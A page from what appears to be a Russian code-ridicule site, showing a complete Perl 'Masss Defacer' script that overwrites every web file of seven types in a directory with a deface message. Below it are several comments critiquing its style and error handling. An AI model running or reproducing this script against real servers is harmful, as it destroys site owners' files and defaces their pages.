1. Perl / Говнокод #307

    −388

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    #!/usr/bin/perl -w 
#Masss Defacer v2.0 
# Coded By illuz1oN 
# Creditz - Nostur 
$def = 'YOUR LAME DEFACE PAGE HERE =)'; 
{        print "[+]DEFACING...\n"; 
         print"[+]DEFACING .PHP FILES...\n"; 
		 my @php = glob("*.php"); #Files 
     foreach my $deface(@php){ 
     open(DEFACE, '>', $deface); 
     print DEFACE $def || print "[-]Fxcked up: $!\n"; 
     close(DEFACE) 
  } 
         print "[+]DEFACING .HTML FILES...\n"; 
         my @html = glob("*.html"); #Files 
     foreach my $deface(@html){ 
     open(DEFACE, '>', $deface); 
     print DEFACE $def || print "[-]Fxcked up: $!\n"; 
     close(DEFACE) 
  } 
         print "[+]DEFACING .ASP FILES...\n"; 
		 my @asp = glob("*.asp"); #Files 
     foreach my $deface(@asp){ 
     open(DEFACE, '>', $deface); 
     print DEFACE $def || print "[-]Fxcked up: $!\n"; 
     close(DEFACE) 
  } 
         print "[+]DEFACING .ASPX FILES...\n"; 
		 my @aspx = glob("*.aspx"); #Files 
     foreach my $deface(@aspx){ 
     open(DEFACE, '>', $deface); 
     print DEFACE $def || print "[-]Fxcked up: $!\n"; 
     close(DEFACE) 
  } 
         print "[+]DEFACING .HTM FILES...\n"; 
		my @htm = glob("*.htm"); #Files 
     foreach my $deface(@htm){ 
     open(DEFACE, '>', $deface); 
     print DEFACE $def || print "[-]Fxcked up: $!\n"; 
     close(DEFACE) 
  } 
         print "[+]DEFACING .JS FILES...\n"; 
	my @js = glob("*.js"); #Files 
     foreach my $deface(@js){ 
     open(DEFACE, '>', $deface); 
     print DEFACE $def || print "[-]Fxcked up: $!\n"; 
     close(DEFACE) 
  } 
         print "[+]DEFACING .AC FILES...\n"; 
		 my @ac = glob("*.ac"); #Files 
     foreach my $deface(@ac){ 
     open(DEFACE, '>', $deface); 
     print DEFACE $def || print "[-]Fxcked up: $!\n"; 
     close(DEFACE) 
  } 
  print "[+]Pages Should Be Defaced!\n"; 
 
} 
#Coded By illuz1oN 
#Credits - Nostur!

    Запостил: guest, 30 Декабря 2008

    Комментарии (7) RSS

    • ava guest 23.02.2009 15:51 # −2

      Bobby:
      Не говнокод. Обычный Perl, как на нем писали в начале 90-х. Разве что можно было перезапись файла в отдельный sub оформить.
      Ответить

    • ava guest 17.04.2009 12:06 # +3

      Протев!:
      Говнокод!!!!

      >open(DEFACE, '>', $deface)
      мдоооо...
      Интересно, нахрен придумали $_

      >open(DEFACE, '>', $deface);
      print DEFACE $def || print "[-]Fxcked up: $!\n";
      close(DEFACE)

      это ваще песдец, чуть не уссался.
      нет обработки ошибки открытия дескриптора.
      т.е. если не открыть, нахрена колдовать над закрытым дескриптором - i.e. close(DEFACE);
      надо next делать.
      ужость в общем. =\\\

      Капча согласна: 19861
      Ответить

    • ava guest 14.10.2009 12:38 # 0

      > Интересно, нахрен придумали $_
      Чтобы говнокодеры могли писать невразумительный говнокод с его использованием.

      > это ваще песдец, чуть не уссался.
      > нет обработки ошибки открытия дескриптора.

      В такой мелкой утилитке это и не надо. Не открылось - последующий print не сможет записать в дескриптор, и close не сможет закрыть файл, но это никого не колышет.

      В общем, говнокод средненький. Каменты более показательны.
      Ответить

    • ava motzi 02.12.2009 19:51 # 0

      новички все так кодят
      Ответить

    • ava ichesnokov 27.02.2010 21:54 # 0

      Странно, что никто не видит говнокода в том, что паттерны для файлов можно было бы засунуть в массив и сделать вложенный цикл, в результате чего код станет в 7 раз короче.
      Ответить

      • ava guest 05.06.2010 21:20 # 0

        Странно, что Вы не прочитали ПЕРВЫЙ же коммент - "Разве что можно было перезапись файла в отдельный sub оформить."
        Цикл и/или sub - самоочевидно, вот и не о чём говорить.
        А появляются такие монстры обычно уже при поддержке - копипаста в ответ на "а ещё вот такие файлы".
        Ответить

        • ava ichesnokov 14.06.2010 21:49 # 0

          sub появляется при повторном использовании кода. Я же не вижу здесь повторного использования кода - лишь повторное использование данных. Так что мой коммент отличается по сути от первого коммента, и я не считаю их взаимозаменяемыми. Сабы тут не нужны.
          Ответить

    Добавить комментарий